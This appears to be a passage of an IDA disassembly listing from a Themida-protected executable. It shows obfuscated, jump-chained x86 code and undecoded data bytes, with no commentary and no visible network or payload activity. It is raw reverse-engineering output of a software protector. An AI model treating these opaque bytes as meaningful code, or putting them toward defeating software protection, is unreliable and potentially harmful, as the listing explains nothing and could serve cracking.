		dd 0EA812B34h, 27195EE7h, 0E94AD2F7h, 0FFFF9CD6h
; ---------------------------------------------------------------------------


loc_593004:				; CODE XREF: Themida_:0058B605j
		pop	esi
		add	edi, 9ED991E3h
		add	eax, edi
		pop	edi
		sub	eax, 4
		jmp	loc_58962B
; ---------------------------------------------------------------------------
		dw 48Bh
		db '$h&[',0
		align 2
aS_5		db 'éÄ',0Dh,0
		db 0
; ---------------------------------------------------------------------------


loc_593023:				; CODE XREF: Themida_:00595A7Bj
		xor	edi, eax
		pop	eax
		push	esi
		mov	esi, 34BF5F0Fh
		xor	edi, esi
		pop	esi
		add	eax, edi
		pop	edi
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 0
		mov	[edx+30h], ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_592D0D
; ---------------------------------------------------------------------------


loc_593053:				; CODE XREF: Themida_:0058C980j
		add	edi, 0FFFFFFFFh
		inc	edi
		shr	edi, 8
		jmp	loc_5939F3
; ---------------------------------------------------------------------------


loc_593062:				; CODE XREF: Themida_:00590307j
		add	esp, 4
		add	[edi+24h], ebp
		pop	ebp


loc_59306C:				; CODE XREF: Themida_:0058ADB8j
		push	esi
		jmp	loc_58CFE6
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFFD528h, 4708EFC1h, 8F19F781h, 0F731267Fh, 47D7F75Eh
		dd 0FF747AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59308D:				; CODE XREF: Themida_:00590DCBj
		mov	ecx, 58297234h
		jmp	loc_594483
; ---------------------------------------------------------------------------
		db 29h
		dd 0BE565FF9h, 5BD701D3h, 0C681D6F7h, 847D4480h, 0FFFA46E9h
		dd 0C2E9ADFFh, 8BFFFF9Ah, 0C481241Ch, 4, 2ABD5551h, 0F736693Bh
		dd 0EEF581D5h, 813A8E67h, 0A80897E5h, 0E9DDF70Fh, 0FFFF9D2Bh
		dd 6851h, 0E9590000h, 1EE6h, 505E4ABFh,	23C78104h, 297203ACh
		dd 0DC1DE9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5930F6:				; CODE XREF: Themida_:00591534j
		mov	ebx, 2E450A8h
		or	edi, ebx
		jmp	loc_5895AB
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 38EF0F2Eh, 271B850h,	0C789497Fh, 0FF71ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593115:				; CODE XREF: Themida_:0058E1D8j
		mov	edx, 538764ECh
		inc	edx
		add	edx, 0D1480690h
		sub	ebx, edx
		pop	edx
		push	edx
		mov	edx, 0
		add	edx, 55B30331h
		sub	edx, 1B683836h
		add	edx, ebx
		add	edx, 1B683836h
		sub	edx, 55B30331h
		mov	ecx, [edx]
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		push	3644h
		mov	[esp], esi
		jmp	loc_5907A8
; ---------------------------------------------------------------------------
		dw 0C300h
aXr		db 'XR¶×',0
		db 0F3h, 5Ah, 30h
		dd 0B0505BD8h, 66C8FE0Bh, 2414F650h, 5B245866h,	0E906E0C0h
		dd 0FFFFEAE9h, 9C9BA52h, 0D0012169h, 0E9C3015Ah, 0FFFFD543h
		dd 59EF0858h, 80B3EF80h, 0C7804CF7h, 8C2FE992h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5931A6:				; CODE XREF: Themida_:005907E3j
		mov	[esp], eax
		push	85962DBh
		pop	eax
		jmp	loc_58AA58
; ---------------------------------------------------------------------------
		dd 0DAC18166h, 0C181666Fh, 66572FB9h, 506C7BBFh, 0FF9F0EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5931C9:				; CODE XREF: Themida_:0058A1ACj
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 508377EEh
		jmp	loc_592F63
; ---------------------------------------------------------------------------
		db 81h
		dd 156C48F3h, 0B8504328h, 1A9D5752h, 0FF645BE9h, 0F78147FFh
		dd 2CBE069Fh, 815FFA29h, 6F7B9AC6h, 81D62906h, 6F7B9AEEh
		dd 0C6015A06h, 88E6E955h, 0B1B5FFFFh, 99E9DDF6h, 29FFFF88h
		dd 6E5E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59321A:				; CODE XREF: Themida_:0058BBA2j
		not	ch
		add	ch, 0F9h
		jmp	loc_58EFBE
; ---------------------------------------------------------------------------
		dd 4A54A605h, 0D7F9E956h, 0B951FFFFh, 64812BC9h, 1C24E949h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59323A:				; CODE XREF: Themida_:0058CBF5j
		pop	ebx
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	3126h
		jmp	loc_58E9C7
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0AF0F6624h, 9C5166C8h, 0FF6205E9h, 0C8B66FFh, 4EC8124h
		dd 89000000h, 0A7E9240Ch, 50FFFFA4h, 4B8h, 6EE8100h, 1527B4Ah
		dd 23BA52C6h, 0F77C1120h, 0D2F74AD2h, 0D61EEA81h, 0D6012995h
		dd 24048B5Ah, 8704C483h, 248B2434h, 24043124h, 0FF61BDE9h
		dd 243C89FFh, 0FF85AEE9h, 42DFFh, 0FF500000h, 58042474h
		dd 0FFBF72E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5932BD:				; CODE XREF: Themida_:00590435j
		push	ebx
		jmp	loc_595473
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0E18002E9h, 83D1F667h, 148904ECh, 0E97CB224h, 1821h
; ---------------------------------------------------------------------------


loc_5932D8:				; CODE XREF: Themida_:00590E7Cj
		pop	ecx
		push	32DDh
		mov	[esp], eax
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 57E070A3h
		push	5797h
		mov	[esp], eax
		mov	eax, 563F4C47h
		jmp	loc_595A71
; ---------------------------------------------------------------------------


loc_593303:				; CODE XREF: Themida_:0058A1E3j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		not	ebx
		xchg	ecx, ebx
		inc	ecx
		jmp	loc_590EDD
; ---------------------------------------------------------------------------
		dd 0C301665Fh, 8124048Bh, 4C4h,	0C0B70F00h, 0FFD2EFE9h
		dd 59C800FFh, 0F0001004h, 1868102Ch, 89000028h,	0E1B1240Ch
		dd 0FFED95E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59334D:				; CODE XREF: Themida_:0058F947j
		xor	edi, 6D9F06F5h
		jmp	loc_589D8F
; ---------------------------------------------------------------------------
		dd 4C481h, 48F0000h, 0E3BAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593366:				; CODE XREF: Themida_:005922C5j
		sub	edi, 3FA309CEh
		sub	esp, 4
		jmp	loc_591CBD
; ---------------------------------------------------------------------------
		dd 0EE50F381h, 0DE89872Fh, 0C1E6815Bh, 8133DB09h, 523259EEh
		dd 0B8F68149h, 0E967DF55h, 2202h
; ---------------------------------------------------------------------------


loc_593394:				; CODE XREF: Themida_:0058B6D7j
		pop	ecx
		jmp	loc_591BD4
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0A90EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5933A2:				; CODE XREF: Themida_:0058E40Fj
		xor	esi, edi
		pop	edi
		sub	ebp, 34254757h
		add	ebp, esi
		add	ebp, 34254757h
		jmp	loc_58D447
; ---------------------------------------------------------------------------
		dd 0FE47E280h, 2AB753CAh, 0FF7CF4E9h, 4EC83FFh,	0FFD5D5E9h
		dd 243C31FFh, 0E9243C33h, 0FFFFA710h, 0C90A8EBAh, 4EC815Bh
		dd 89000000h, 9BE92404h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5933EB:				; CODE XREF: Themida_:0058EE5Dj
		mov	[esp], ebx
		push	ebx
		mov	ebx, 333A08DDh
		add	[esp+4], ebx
		pop	ebx
		pop	eax
		push	ebp
		mov	ebp, 517E2FECh
		neg	ebp
		shl	ebp, 7
		shl	ebp, 6
		jmp	loc_5910A8
; ---------------------------------------------------------------------------
		align 2
		dw 5BFDh
		dd 0FFF1BAE9h, 59E952FFh
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59341B:				; CODE XREF: Themida_:00591135j
		shr	edx, 2
		push	edi
		mov	edi, 86B75ADh
		add	edi, 4AC12F2Ah
		push	ebx
		mov	ebx, 17241BA4h
		xor	ebx, 3E340D53h
		sub	edi, ebx
		pop	ebx
		sub	edi, 0EF482CCCh
		xor	edx, edi
		jmp	loc_58AF69
; ---------------------------------------------------------------------------
		dw 51BDh
		dd 0F700B40Eh, 9FC581DDh, 0E936F71Bh, 1F50h, 72CB685Ah
		dd 0C890000h, 0A059E924h, 0E628FFFFh, 0FFF10CE9h, 5FF0E9FFh
		dd 8955FFFFh, 5DE889DDh, 58C6015Bh, 0FF929DE9h,	2474FFFFh
		dd 48F5D04h, 24248B24h,	9C243CD3h, 0FF5FCDE9h, 4B8FFh
		dd 0C1010000h, 89CEE958h, 0C181FFFFh, 0FFFFFFFFh, 48CDC981h
		dd 6AE96885h, 66FFFFC1h, 55240C8Bh, 29685D54h, 0E900003Eh
		dd 0FFFFBE53h, 0BD55E689h, 4, 0E95DEE01h, 0FFFFA013h, 58E95A59h
		dd 0BBFFFFBFh, 304A2B89h, 0FFA0ABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5934E5:				; CODE XREF: Themida_:0058C174j
		push	ebx
		mov	ebx, 4
		sub	edx, 13C0370Eh
		sub	edx, 12950149h
		jmp	loc_58B89F
; ---------------------------------------------------------------------------


loc_5934FC:				; CODE XREF: Themida_:0058AF64j
		push	eax
		jmp	loc_59054B
; ---------------------------------------------------------------------------
		dw 8F59h
		dd 665C2404h, 2404B30Fh, 76C7E99Ch, 0AB2CFFFFh,	1DB86853h
		dd 24890000h, 24048324h, 241C8B04h, 4C481h, 0C0680000h
		dd 8900005Dh, 9EE9240Ch
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593537:				; CODE XREF: Themida_:0058B1E7j
		xchg	ecx, [esp]
		jmp	loc_58AC1F
; ---------------------------------------------------------------------------
		db 5Ch
		dd 24048966h, 0FFAD32E9h, 7047BBFFh, 0E7BA0A24h, 29723687h
		dd 0C2815BDAh, 14796200h, 0FFD55DE9h, 243431FFh, 5C243433h
		dd 240C8966h, 0FF9663E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593571:				; CODE XREF: Themida_:005950CCj
		mov	edx, [esp]
		add	esp, 4
		sub	[edi+20h], ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	dword ptr [edi+20h], 3206A09Eh
		push	esi
		push	0EEC3742h
		pop	esi
		push	edx
		mov	edx, 24h
		sub	edx, 79BD66EFh
		add	edx, edi
		add	edx, 79BD66EFh
		jmp	loc_5910EF
; ---------------------------------------------------------------------------
		db 89h
		dd 0A2E9243Ch, 55FFFF91h, 931F7BBDh, 5DEE213Ch,	0E6E4C681h
		dd 0F101DBECh, 0FF977FE9h, 0F6664FFh, 1CE902B6h, 68FFFFB0h
		dd 58375F92h, 8AE9475Fh
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5935DB:				; CODE XREF: Themida_:0058AE1Fj
		inc	edx
		jmp	loc_59173A
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0F2h
		dd 0F7AAC9FAh, 148BD001h, 0CA65E924h, 0EB80FFFFh, 0DD5AE9BEh
		dd 0E829FFFFh, 69D7055Dh, 835B0D5Ch, 43304E8h, 24043124h
		dd 0FFD78CE9h, 66AD66FFh, 0E954C22Dh, 0FFFFC374h, 2C581h
		dd 2C330000h, 242C3124h, 5C242C33h, 7DFE9h, 0CDF78000h
		dd 525BF830h, 0EC8148B6h, 4, 88240489h,	0A75CE9F4h, 3489FFFFh
		dd 81E68924h, 4C6h, 4C68300h, 8B243487h, 0BA522424h, 30A43E76h
		dd 0FFD1F7E9h, 241489FFh, 72F7B951h, 59BA3619h,	311E052Bh
		dd 4A4A59CAh, 0EBD7C281h, 0D5012228h, 0EB1DE95Ah, 0BAB1FFFFh
		dd 0D1F6C1FEh, 0D1F6E1D0h, 3F180h, 0C80059C8h, 0B353742Ch
		dd 0E9CBFE36h, 0FFFFBA2Dh
; ---------------------------------------------------------------------------


loc_5936A8:				; CODE XREF: Themida_:00590678j
		pop	edi
		jmp	loc_5909E6
; ---------------------------------------------------------------------------


loc_5936AE:				; CODE XREF: Themida_:0058A857j
		mov	eax, [esp]
		add	esp, 4
		and	ecx, esi
		pop	esi
		shr	ecx, 6
		push	3610h
		mov	[esp], edx
		push	7F90h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	edx
		push	esi
		jmp	loc_58CA79
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0BE678205h, 0E9E82950h, 0FFFF86FEh, 0EC3AE952h, 0EBC0FFFFh
		dd 0E488E904h, 36BAFFFFh, 817B1B20h, 6141F5CAh,	81EAD13Dh
		dd 0C143BDEAh, 5AD0290Ah, 50C2C05h, 0ECE95626h,	66FFFFCDh
		dd 50240C8Bh, 6857E089h, 4, 39B5055Fh, 4EE9670Eh, 89FFFFE5h
		dd 0BF57240Ch, 1Ch, 0FFEC36E9h,	0E98159FFh, 1F0D194Ch
		dd 0E981E9D1h, 6857419h, 0FF8DD3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59374D:				; CODE XREF: Themida_:00594B2Fj
		mov	cl, 19h
		push	edx
		mov	dh, 30h
		xor	dh, 0F3h
		sub	al, 18h
		jmp	loc_593B2D
; ---------------------------------------------------------------------------
		dd 0B1E9D631h, 89FFFFF2h, 0C99DE9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59376A:				; CODE XREF: Themida_:0058CDAAj
		mov	esi, [esp]
		add	esp, 4
		or	edx, eax
		jmp	loc_59298F
; ---------------------------------------------------------------------------


loc_593777:				; CODE XREF: Themida_:0058A5B0j
		xor	ecx, 8C90E87Ah
		xor	edx, ecx
		pop	ecx
		shr	edx, 1
		add	edx, 52DA7D47h
		xor	eax, edx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		jmp	loc_58F86A
; ---------------------------------------------------------------------------
		db 53h
		dd 39C1BE56h, 26E90B82h, 59FFFFC2h, 0FFC0B0E9h,	268BFFFh
		dd 0E94F1F02h, 6F0h, 61B64EB7h,	39E9FE00h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5937C3:				; CODE XREF: Themida_:0058A1A4j
		mov	[esp], eax
		mov	eax, 2
		add	ebp, 39AD7F22h
		add	ebp, eax
		sub	ebp, 39AD7F22h
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_593C5B
; ---------------------------------------------------------------------------
		dw 0D521h
		dd 0CDCD815Ah, 0E974D03Ch, 0FFFFACE7h, 7F0668h,	1F05E900h
		dd 0F3810000h, 687979B0h, 34FFDA01h, 2434FF24h,	4C4815Bh
		dd 81000000h, 4C4h, 0E9E95700h,	8BFFFFA1h, 0B60F2424h
		dd 4EC81C8h, 89000000h,	0EC812404h, 4, 24048F54h, 4240481h
		dd 58000000h, 4B951h, 232D0000h, 15ED843h, 432305C8h, 34FF5ED8h
		dd 72E4E924h, 0C483FFFFh, 0B1515304h, 9AB7F0h, 0FE0059CFh
		dd 81241C8Bh, 4C4h, 0E9F02000h,	0FFFFDD6Ah, 8B240C33h
		dd 34FF2424h, 240C8B24h, 4C481h, 89560000h, 0A570E9E6h
		dd 3431FFFFh, 24343324h, 0FFE08DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5938A1:				; CODE XREF: Themida_:005915E1j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	6638h
		mov	[esp], edx
		mov	edx, 2E5C6FF8h
		jmp	loc_594286
; ---------------------------------------------------------------------------
		dd 4C481h, 68500000h, 4, 2EE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5938DE:				; CODE XREF: Themida_:0058D602j
		add	ebx, 5ED15898h
		add	ebx, esi
		sub	ebx, 5ED15898h
		mov	esi, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_58F7FA
; ---------------------------------------------------------------------------
		db 89h
		dd 0E8E92404h, 500001Eh, 76DF30A7h, 0E9C3015Eh,	0FFFFE408h
		dd 53E5BE56h, 0C6817B44h, 12DB34FCh, 0FF6894E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59391D:				; CODE XREF: Themida_:00594B82j
		or	dword ptr [edi+20h], 4EF4033Ah
		jmp	loc_59140C
; ---------------------------------------------------------------------------
		db 1, 0D3h, 5Ah
		dd 32EB81h, 0C3012909h,	32C381h, 89562909h, 4C681E6h, 83000000h
		dd 348704EEh, 508E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59394E:				; CODE XREF: Themida_:005926F3j
		pop	ebx
		jmp	loc_590CE4
; ---------------------------------------------------------------------------
aWArfs		db 'W¿ÐArFé× ',0
		db 0
; ---------------------------------------------------------------------------


loc_59395F:				; CODE XREF: Themida_:00591786j
		mov	ebp, 1D501742h
		jmp	loc_592F9B
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0D359669Dh, 0E99C241Ch, 0FFFF5AEAh
; ---------------------------------------------------------------------------


loc_593978:				; CODE XREF: Themida_:0058AF12j
		push	dword ptr [eax]
		jmp	loc_589462
; ---------------------------------------------------------------------------


loc_59397F:				; CODE XREF: Themida_:00593FADj
		push	edx
		mov	edx, 51435F8Ch
		and	edx, 669869B6h
		add	edx, 0D041DAE7h
		sub	eax, 58A77498h
		add	eax, edx
		add	eax, 58A77498h
		mov	edx, [esp]
		jmp	loc_5902FB
; ---------------------------------------------------------------------------
		db 1, 2	dup(0E9h)
		dd 0FFFF9CDFh, 24048B66h, 72C768h, 24048900h, 0E9515854h
		dd 0FFFFB3EDh, 815FFB29h, 144B9C3h, 32E38135h, 8153E340h
		dd 0C5645FF3h, 2EBC130h, 0F2A7EB81h, 0D801F86Ah, 2434FF5Bh
		dd 0E289525Fh, 4C281h, 6DE90000h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5939F3:				; CODE XREF: Themida_:0059305Dj
		or	edi, 52B0239Eh
		shr	edi, 7
		xor	edi, 0F4B78CBh
		push	edi
		sub	dword ptr [esp], 338925FBh
		pop	dword ptr [edx+38h]
		push	esi
		jmp	loc_590E6F
; ---------------------------------------------------------------------------
		db 81h
		dd 780880C2h, 81CA011Dh, 780880EAh, 240C8B1Dh, 8704C483h
		dd 248B2414h, 1BF3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593A32:				; CODE XREF: Themida_:0058F24Bj
		mov	[esp], ebp
		push	edx
		jmp	loc_58BCD1
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0C425EA81h, 0D001B6C4h, 0FF6A2EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593A49:				; CODE XREF: Themida_:0058EC07j
		neg	ebp
		shl	ebp, 7
		xor	ebp, 56A1E62h
		inc	ebp
		add	ebp, 21782366h
		sub	ecx, ebp
		pop	ebp
		jmp	loc_58C02D
; ---------------------------------------------------------------------------


loc_593A63:				; CODE XREF: Themida_:005908E3j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		pop	edx
		pop	edi
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	eax
		mov	eax, esp
		jmp	loc_58B5FC
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 0FF984CE9h, 0EC8358FFh, 24348904h, 2E707FBEh, 5EF20160h
		dd 1D6EF281h, 0C681ECB7h, 15886D61h, 0BB53D629h, 0E0D2D9Bh
		dd 15CDC381h, 0CB815262h, 231B4B05h, 8105E3C1h,	9EFFC1C3h
		dd 5BDE29A5h, 0FF7560E9h, 48F5AFFh, 0FD55E924h,	0E3C1FFFFh
		dd 8EBC104h, 0FF78C2E9h, 0B26866FFh, 1C896624h,	80F2B724h
		dd 0B450B0CFh, 1363E9A4h, 0E9810000h, 45EF4CB5h, 0C181D101h
		dd 45EF4CB5h, 240C875Ah, 0E924248Bh, 0FFFF595Ah, 0BF57E189h
		dd 144306A2h, 1EF4E781h, 0B85005FAh, 44206A4h, 158C731h
		dd 0EC815FF9h, 4, 0FFE426E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593B2D:				; CODE XREF: Themida_:00593757j
		sub	al, dh
		add	al, 18h
		pop	edx
		sub	al, cl
		push	edx
		push	ecx
		jmp	loc_58CC94
; ---------------------------------------------------------------------------
		db 0BAh
		dd 8233406Ch, 5EE9EA29h, 0ACFFFF63h, 0FF9AFBE9h, 4BF068FFh
		dd 1C890000h, 0E3D4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593B5A:				; CODE XREF: Themida_:0058FA89j
		and	ecx, ebx
		jmp	loc_58CC1D
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 4BAh, 4AED8100h, 81489B2Ch, 280371EDh, 81D50110h, 280371C5h
		dd 4AC58110h, 8B489B2Ch, 0E9522414h, 0FFFFBF8Eh, 2404335Ah
		dd 33240431h, 248B2404h, 4C48324h, 9C240409h, 0FF58BDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593BA5:				; CODE XREF: Themida_:0058D50Cj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, eax
		mov	edx, ebp
		jmp	loc_594DF0
; ---------------------------------------------------------------------------
		db 28h,	0C3h, 0E9h
		dd 0FFFF6BD4h
; ---------------------------------------------------------------------------


loc_593BC4:				; CODE XREF: Themida_:005923A0j
		mov	[esp], edi
		push	4086h
		mov	[esp], esi
		jmp	loc_589D52
; ---------------------------------------------------------------------------
		dd 136CE981h, 814129F9h, 5C0D0F1h, 0E9CA01D6h, 0FFFF7A5Dh
		dd 6C27BA52h, 0D02931EAh, 22892D5Ah, 0C9E91CBFh, 81FFFFC6h
		dd 0C04F12C2h, 44EA8170h, 556D9903h, 237003BDh,	8583E93Fh
		dd 3487FFFFh, 0C3805C24h, 0C007E9FBh, 0B951FFFFh, 6742FC3Ch
		dd 8159CD01h, 921F5FC6h, 51EE014Fh, 991072B9h, 95C18159h
		dd 81735F10h, 4C3019E1h, 4EF1814Bh, 4152677Dh, 10BE5649h
		dd 13562C2h, 0CE295EF1h, 40E95D59h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593C5B:				; CODE XREF: Themida_:005937E5j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_58CDF9
; ---------------------------------------------------------------------------
		db 83h
		dd 0B85004C4h, 68BB54BDh, 35490735h, 50463572h,	0D8F70794h
		dd 0FFAE0FE9h, 39E956FFh, 89FFFFB9h, 4EC83E2h, 0BB241C89h
		dd 0B9774AFh, 6696C381h, 0D5E9636Bh, 0BA000016h, 562A6C71h
		dd 55AD001h, 95CE71A6h,	0FFDFE1E9h, 5AD089FFh, 5658C301h
		dd 2BEh, 0D0C38100h, 0E903D326h, 0FFFFEC79h, 204BED80h
		dd 0E95159ECh, 0FFFFF2F0h, 0E9241C89h, 0FFFF6160h, 0D00C90BEh
		dd 0FFC6815Fh, 0F7FFFFFFh, 0DCF5E9D6h, 0EC81FFFFh, 4, 83243489h
		dd 3C8904ECh, 2A7B6824h, 3C8B6E0Bh, 4C48324h, 83CF814Fh
		dd 511B6C01h, 0FFB54EE9h, 67B151FFh, 0FF6EA3E9h, 242C89FFh
		dd 0C8B85051h, 0E967190Fh, 0FFFF6400h, 4EA81h, 14870000h
		dd 0DC10E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593D42:				; CODE XREF: Themida_:0058CFE9j
		push	ecx
		mov	ecx, 4
		mov	eax, ecx
		pop	ecx
		add	esi, eax
		jmp	loc_58EBE3
; ---------------------------------------------------------------------------
		dw 23B5h
		dd 5966E828h, 0E958C388h, 0FFFFF892h
; ---------------------------------------------------------------------------


loc_593D60:				; CODE XREF: Themida_:0058B8BDj
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 0E415B41h
		xor	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	ecx, 0E415B41h
		push	ebx
		push	eax
		jmp	loc_594398
; ---------------------------------------------------------------------------
		dd 8DBD5547h, 3145606Bh, 5857E9EFh, 0E956FFFFh,	0FFFFA3ECh
; ---------------------------------------------------------------------------


loc_593D98:				; CODE XREF: Themida_:0058976Aj
		push	esi
		mov	esi, 96B5D35h
		xor	esi, 504831C7h
		mov	ebp, esi
		jmp	loc_58E1C1
; ---------------------------------------------------------------------------
		db 55h
		dd 824268BDh, 14F7555Ch, 242C8B24h, 0FF76DDE9h,	0A1EB80FFh
		dd 0C380C300h, 49FE9A1h, 2C890000h, 57296824h, 0CFE96A6Fh
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593DD7:				; CODE XREF: Themida_:005959B6j
		pop	esi
		add	esp, 4
		sub	dword ptr [esp], 79D54028h
		jmp	loc_58D4D2
; ---------------------------------------------------------------------------
		db 89h
		dd 0E389241Ch, 4C381h, 0E9570000h, 205h
; ---------------------------------------------------------------------------


loc_593DF8:				; CODE XREF: Themida_:0058C63Bj
		xor	eax, 7E5D634Eh
		add	ebp, 35E8615Fh
		add	ebp, eax
		sub	ebp, 35E8615Fh
		jmp	loc_58FD08
; ---------------------------------------------------------------------------
		dd 9C242CD2h, 0FF96A1E9h, 0C0D2F6FFh, 0F28007EAh, 5E10E9ECh
		dd 34FFFFFFh, 0D0E95924h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_593E2F:				; CODE XREF: Themida_:0058A4E6j
		push	esi
		push	19330398h
		pop	esi
		xor	esi, 694436F8h
		sub	esi, 69F15E9Dh
		xor	esi, 685D6C7h
		mov	ebx, esi
		pop	esi
		add	edx, 77055074h
		jmp	loc_590C4D
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFF8B69h
; ---------------------------------------------------------------------------


loc_593E5C:				; CODE XREF: Themida_:00595A5Dj
		push	ebx
		mov	ebx, 518725AAh
		jmp	loc_58C96F
; ---------------------------------------------------------------------------


loc_593E67:				; CODE XREF: Themida_:0058DE5Dj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_590581
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8951240Ch, 4BA52E1h,	1000000h, 0E9815AD1h, 4, 0E9240C87h
		dd 0FFFF99DDh, 6EE9EFD1h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593EAF:				; CODE XREF: Themida_:00594F91j
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		pop	ebx
		jmp	loc_58C43C
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 55000000h, 2205BB53h, 9BD6462h, 29646222h, 241C8BDDh
		dd 0FF864FE9h, 6F9CBDFFh, 0E5812CB4h, 551424C7h, 676CC581h
		dd 8145498Ah, 9E8BEFEDh, 8BEF014Dh, 0C483242Ch,	0E1895104h
		dd 4C181h, 0E9830000h, 240C8704h, 243C895Ch, 42474FFh
		dd 81243C8Bh, 4C4h, 24048F00h, 6624248Bh, 53240C8Bh, 4168E389h
		dd 0E9000024h, 0FFFFE992h
; ---------------------------------------------------------------------------


loc_593F30:				; CODE XREF: Themida_:00594545j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_59037A
; ---------------------------------------------------------------------------
		dd 2A28EA81h, 0D60120B7h, 3CEE815Ah, 1260A5Dh, 3CC681DEh
		dd 81260A5Dh, 8F2A18EEh, 34875B53h, 8B665C24h, 0EC832404h
		dd 24148904h, 24148B54h, 0FFB13AE9h, 80D2F6FFh,	0F280C4E2h
		dd 50D2F634h, 2DE900B4h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593F83:				; CODE XREF: Themida_:0058F280j
		push	esi
		push	0BA910DBh
		pop	esi
		inc	esi
		jmp	loc_58C69E
; ---------------------------------------------------------------------------


loc_593F90:				; CODE XREF: Themida_:00590B51j
		xor	edx, ebp
		jmp	loc_58F553
; ---------------------------------------------------------------------------


loc_593F97:				; CODE XREF: Themida_:0058F54Ej
		mov	ebp, esp
		jmp	loc_58E9B6
; ---------------------------------------------------------------------------


loc_593F9E:				; CODE XREF: Themida_:0058958Dj
		mov	[esp], ebx
		push	esp
		jmp	loc_590591
; ---------------------------------------------------------------------------


loc_593FA7:				; CODE XREF: Themida_:0058D969j
		pop	edx
		sub	eax, esi
		pop	esi
		add	eax, ecx
		jmp	loc_59397F
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0B3535104h, 0ADCB80FAh, 80A1EB80h, 0C38069EBh, 5BDD8824h
		dd 0CBE9E828h, 28FFFFC3h, 148B66F0h, 0E0895024h, 405h
		dd 20500h, 4870000h, 0CA4AE924h, 0F766FFFFh, 0F28166DAh
		dd 57660176h, 0E39BF66h, 0FF68B1E9h, 4BFFFh, 0FB290000h
		dd 0FF7BF7E9h, 0C8B66FFh, 17746824h, 6AE90000h,	89FFFFE5h
		dd 0A4B9240Ch, 8110622Bh, 370F1C9h, 3E98111h, 0E94C295Fh
